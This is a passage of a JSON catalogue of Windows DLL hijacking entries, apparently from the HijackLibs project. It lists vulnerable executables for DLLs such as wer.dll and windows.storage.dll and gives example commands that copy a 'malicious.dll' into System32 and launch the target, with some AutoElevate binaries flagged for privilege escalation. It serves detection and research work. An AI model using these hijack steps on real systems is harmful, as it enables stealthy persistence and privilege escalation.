        "url": "https://hijacklibs.net/entries/wdi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wdscore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wdscore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# wdscore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\deploymentcsphelper.exe (Sideloading)\n- %SYSTEM32%\\djoin.exe (Sideloading)\n- %SYSTEM32%\\dnscacheugc.exe (Sideloading)\n- %SYSTEM32%\\muiunattend.exe (Sideloading)\n- %SYSTEM32%\\netbtugc.exe (Sideloading)\n- %SYSTEM32%\\netiougc.exe (Sideloading)\n- %SYSTEM32%\\pnpunattend.exe (Sideloading)\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\setupugc.exe (Sideloading)\n- %SYSTEM32%\\sysreseterr.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tapiunattend.exe (Sideloading)\n- %SYSTEM32%\\ieunatt.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-wdscore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wdscore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wdscore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wdscore",
    "name": "wdscore.dll",
    "namespace": "windows:dllhijack:wdscore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/12/30/1-little-known-secret-of-ieunatt-exe-on-win11/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wdscore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious webservices.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\webservices.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\clipup.exe\\\"\"\n\n# webservices.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\clipup.exe (Sideloading)\n- %SYSTEM32%\\sppsvc.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsremoteengine.exe (Sideloading)\n- %SYSTEM32%\\wifitask.exe (Sideloading)\n- %SYSTEM32%\\wksprt.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-webservices.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "webservices.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "webservices.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-webservices",
    "name": "webservices.dll",
    "namespace": "windows:dllhijack:webservices",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/webservices.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious webui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\iTop Screen Recorder\\\\webui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\iTop Screen Recorder\\\\iScrPaint.exe\\\"\"\n\n# webui.dll\n\n**Vendor:** iTop\n\n**Expected Location:** %PROGRAMFILES%\\iTop Screen Recorder\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\iTop Screen Recorder\\iScrPaint.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-webui.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "webui.dll — Sideloading hijacking (iTop)",
    "execution": {
      "template": "webui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-webui",
    "name": "webui.dll",
    "namespace": "windows:dllhijack:webui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/063d2c12aa8316b242c5beb9dbbf934be7cee9df93b1612de9aa2f1f3084f0da/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/521c0de9a7b2db7d9a65b443dd630a28e2b4e33f8c56336e7630c646aa2cf280/detection"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/webui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wecapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wecapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wecutil.exe\\\"\"\n\n# wecapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wecutil.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wecapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wecapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wecapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wecapi",
    "name": "wecapi.dll",
    "namespace": "windows:dllhijack:wecapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wecapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dwwin.exe\\\"\"\n\n# wer.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dwwin.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\pcalua.exe (Sideloading)\n- %SYSTEM32%\\relpost.exe (Sideloading)\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %SYSTEM32%\\werfault.exe (Sideloading)\n- %SYSTEM32%\\werfaultsecure.exe (Sideloading)\n- %SYSTEM32%\\wermgr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wer.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wer.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wer",
    "name": "wer.dll",
    "namespace": "windows:dllhijack:wer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wevtapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wevtapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cidiag.exe\\\"\"\n\n# wevtapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cidiag.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\gpupdate.exe (Sideloading)\n- %SYSTEM32%\\mbaeparsertask.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\nlb.exe (Sideloading)\n- %SYSTEM32%\\packageinspector.exe (Sideloading)\n- %SYSTEM32%\\plasrv.exe (Sideloading)\n- %SYSTEM32%\\tracerpt.exe (Sideloading)\n- %SYSTEM32%\\wecutil.exe (Sideloading)\n- %SYSTEM32%\\wlbs.exe (Sideloading)\n- %SYSTEM32%\\wsreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\logman.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wevtapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wevtapi.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "wevtapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wevtapi",
    "name": "wevtapi.dll",
    "namespace": "windows:dllhijack:wevtapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wevtapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious whhelper.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\whhelper.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# whhelper.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-whhelper.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "whhelper.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "whhelper.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-whhelper",
    "name": "whhelper.dll",
    "namespace": "windows:dllhijack:whhelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/whhelper.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wimgapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wimgapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\recoverydrive.exe\\\"\"\n\n# wimgapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\dism.exe (Phantom)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Adam\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wimgapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wimgapi.dll — Phantom, Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wimgapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wimgapi",
    "name": "wimgapi.dll",
    "namespace": "windows:dllhijack:wimgapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wimgapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winbio.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winbio.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\securityhealthservice.exe\\\"\"\n\n# winbio.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-winbio.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winbio.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winbio.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winbio",
    "name": "winbio.dll",
    "namespace": "windows:dllhijack:winbio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winbio.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious winbrand.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winbrand.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bdehdcfg.exe\\\"\"\n\n# winbrand.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bdehdcfg.exe (Sideloading)\n- %SYSTEM32%\\licensediag.exe (Sideloading)\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-winbrand.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "winbrand.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winbrand.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-winbrand",
    "name": "winbrand.dll",
    "namespace": "windows:dllhijack:winbrand",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winbrand.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious windows.storage.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windows.storage.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\calc.exe\\\"\"\n\n# windows.storage.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\calc.exe (Environment Variable)\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\dfrgui.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\mstsc.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\presentationsettings.exe (Environment Variable)\n- %SYSTEM32%\\rdpclip.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %SYSTEM32%\\wfs.exe (Environment Variable)\n- %SYSTEM32%\\workfolders.exe (Environment Variable)\n- %SYSTEM32%\\write.exe (Environment Variable)\n- %SYSTEM32%\\wscollect.exe (Environment Variable)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %APPDATA%\\Zoom\\bin\\zoom.exe (Environment Variable)\n- %PROGRAMFILES%\\WindowsApps\\MicrosoftTeams%VERSION%\\msteams.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msoev.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msotd.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windows-storage.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windows.storage.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "windows.storage.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-windows-storage",
    "name": "windows.storage.dll",
    "namespace": "windows:dllhijack:windows-storage",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windows-storage.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious windows.storage.search.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windows.storage.search.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# windows.storage.search.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windows-storage-search.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windows.storage.search.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "windows.storage.search.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-windows-storage-search",
    "name": "windows.storage.search.dll",
    "namespace": "windows:dllhijack:windows-storage-search",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windows-storage-search.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious windows.ui.immersive.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windows.ui.immersive.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dmnotificationbroker.exe\\\"\"\n\n# windows.ui.immersive.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dmnotificationbroker.exe (Sideloading)\n- %SYSTEM32%\\phoneactivate.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-windows-ui-immersive.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windows.ui.immersive.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "windows.ui.immersive.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-windows-ui-immersive",
    "name": "windows.ui.immersive.dll",
    "namespace": "windows:dllhijack:windows-ui-immersive",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windows-ui-immersive.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious windowscodecs.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windowscodecs.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# windowscodecs.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\wmpdmc.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\dfrgui.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\gamepanel.exe (Environment Variable)\n- %SYSTEM32%\\mstsc.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\presentationsettings.exe (Environment Variable)\n- %SYSTEM32%\\wfs.exe (Environment Variable)\n- %SYSTEM32%\\winver.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n- %SYSTEM32%\\wscollect.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windowscodecs.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windowscodecs.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "windowscodecs.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-windowscodecs",
    "name": "windowscodecs.dll",
    "namespace": "windows:dllhijack:windowscodecs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windowscodecs.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious windowscodecsext.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windowscodecsext.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wfs.exe\\\"\"\n\n# windowscodecsext.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wfs.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windowscodecsext.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windowscodecsext.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "windowscodecsext.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-windowscodecsext",
    "name": "windowscodecsext.dll",
    "namespace": "windows:dllhijack:windowscodecsext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
